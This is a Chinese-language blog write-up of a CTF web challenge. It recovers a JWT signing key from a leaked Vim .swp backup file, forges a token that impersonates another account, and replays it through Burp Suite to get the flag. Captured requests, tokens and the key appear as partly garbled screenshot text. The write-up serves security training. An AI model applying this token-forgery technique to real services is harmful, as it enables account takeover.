## CTF论剑场 Web10 WriteUp

原创
_egg_ U 于 2019-11-13 21:45:01 发布 O 382 🏠 <sub>收藏</sub>
文章标签: <u>CTF JWT</u>
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1. Ctrl+U查看页面源代码,发现一串编码,从尾部的三个等号猜测是base32编码



2. 用base32在线解码器解码,结果如下:



3. 猜测以上结果是用户名和密

4.从kk's diary可以发

码,尝试登录,同时用burpsuit抓包,登录成功,抓包结果如下,有一长串被"."分割为三部分的字符,这是网站用JWT的方法进行认证

Request Response				
Raw Params Headers Hex				
POST /L3yx.php HTTP/1.1				
Host: 123.206.31.85:3032				
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0				
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8				
Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2				
Accept-Encoding: gzip, deflate				
Content-Type: application/x-www-form-urlencoded				
Content-Length: 26				
Origin: http://123.206.31.85:3032				
Connection: close				
Referer: http://123.206.31.85:3032/L3yx.php				
Cookie:				
token=eyJ0eXAi0iJKV1QiLCJhbGci0iJIUzI1NiJ9.eyJpc3Mi0iJMM314IiwiaWF0IjoxNTczNjQ4NDY4LCJ1eHAi0jE1				
NzM2NDg0NzMsImFjY291bnQi0iJrayJ9.wi1seU2yxGPXxxc6LIEP3HiVGQp_rxC1j0dUbm0Nie4				
Upgrade-Insecure-Requests: 1				
username=kk&password=kk123 https://blog.csdn.net/vegetable_haker				

现,Vim崩溃并且网站有秘密

Vim崩溃时文件会备份缓存,并且以\*.swp文件格式存储;当然了,如果文件正常关闭会自动删除同名的swp格式文件。

#### hello kk!

### kk's diary

L3yx这家伙上次说vim一点都不好用,他写这个网站主页的时
候还突然崩了,但他现在还不是在用,真香!
他好像还在这网站写了什么秘密,我一定要登他账号上去看
看!

O

#### <u>退出</u>

https://blog.csdn.net/vegetable\_haker

**123.206.31.85**:3032

崩溃的,那么我们看一下网站主页

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5. 既然是在写这个网站的主页时

# Index of /

	<u>Name</u>	Last modifie	<u>d</u>	Size Description
?	<u>L3yx.php</u>	2018-12-06 16	:35	1.1K
?	L3yx.php.swp	2018-12-07 07	:32	12K
	<u>src/</u>	2018-12-07 02	:34	-
?	<u>user.php</u>	2018-12-07 02	:32	1.6K

Apache/2.4.10 (Debian) Server at 123.206.31.85 Port 3032

6. 下载L3yx.php.swp文件,

用记事本打开,发现 KEY = 'L3yx---+++±---'这句,这是JWT的密钥 7. 现在点击这里对第3步中得到的字符串进行解码,结果如下:



8. 利用jwt.io/将account修改为L3xy,同时不要忘记修改jat和exp,并将密钥填入signature中,就会得到一串新的JWT字符串

Encoded paste a token here	Decoded edit the payload and secret
	HEADER: ALGORITHM & TOKEN TYPE
eyJ0eXA101JKVTQ1LCJNDGC101J10Z1TN1J9.eyJ	(
leHAiOiF1NzM2NTU1ODksTmEiY291bnOiOi.UMM31	"typ": "JWT", "alg": "H\$256"
4Tn0 h3V nb1taccxEsxR4Kki9McGxLa-	}
hReim6nOfFioxa	
	PAYLOAD: DATA
	"ico", "L'Ow"
	"iat": 1573614084,
	"exp": 1573655589,
	"account": "L3yx"
	,
	VERIFY SIGNATURE
	HMACSHA256(
	base64UrlEncode(header) + "." +
	base64UrlEncode(payload),
	密钥: L3yx++++
	Lays

#### 9.用这串新字符串替换burpsuit中的token,发包即可得到flag

🚯 Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz								_		$\times$
Burp Intruder Repeater Window Help										
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Com	arer Ext	ender Pr	oject options	User o	ptions	Alerts				
1 × 2 × 3 × 4 ×										
Go Cancel <   v >   v						Ta	arget: http	://123.206	.31.85:3032	
Request	R	esponse								
Raw Params Headers Hex		Raw Hea	ders Hex	HTML	Render					
<pre>GBT /user.php HTTP/1.1 Host: 123.206.31.85:3032 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ah-CN, ah.g=0.8, zh=TW;q=0.7, zh=HK;q=0.5, en=US;q=0.3, en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://123.206.31.85:3032/L3yx.php Connection: close Cookie: token=eyJ0eXAi0iJKV1QiLCJhbGci0iJIUzI1NiJ9.eyJpc3Mi0iJMM314IiwiaWF0IjoxNTcz NjE0MDg0LCJ1eHAi0JE1NzM2NTU10DksImFjY291bnQi0iJMM314In0.h3V_nbltgccxFsxR4Kk i9McGxLg=_hRcjm6nQfEioxg Upgrade=Insecure=Requests: 1</pre>	HI Dat Set Vai Coo Coo Coo Coo Coo Coo Coo Co	P/1.1 200 e: Wed, 1 ver: Apacy y: Accept tent-Leng nection: tent-Type ml> ta http-e tle>用j <sup>2</sup> tml> lo L3yx donly>我f g{32ef4; f='L3yx.p	0 0K 3 Nov 2019 heb/2.4.10 -Encoding th: 328 close :: text/htm equiv="Cont 界面! & chr> & 信行人教祭 89b73c436 hp'>退出 </td <td>) 13:41:2 (Debian) に): chars ent-Type ) L3yx's 密, 只有- 2ca6f28 (a)</td> <td>20 GMT set=UTF- e<sup>**</sup> conte diary 一枚flag b7e7cf;</td> <td>-8 ent="ter g你要吗 88368}</td> <td>xt/html; xtarea r ? tips//olog</td> <td>charset= ows='10' sa&gt; <a< td=""><td>utf-8"/&gt; cols='50' i el/vegetab</td><td>le_haker</td></a<></td>	) 13:41:2 (Debian) に): chars ent-Type ) L3yx's 密, 只有- 2ca6f28 (a)	20 GMT set=UTF- e <sup>**</sup> conte diary 一枚flag b7e7cf;	-8 ent="ter g你要吗 88368}	xt/html; xtarea r ? tips//olog	charset= ows='10' sa> <a< td=""><td>utf-8"/&gt; cols='50' i el/vegetab</td><td>le_haker</td></a<>	utf-8"/> cols='50' i el/vegetab	le_haker

JWT相关知识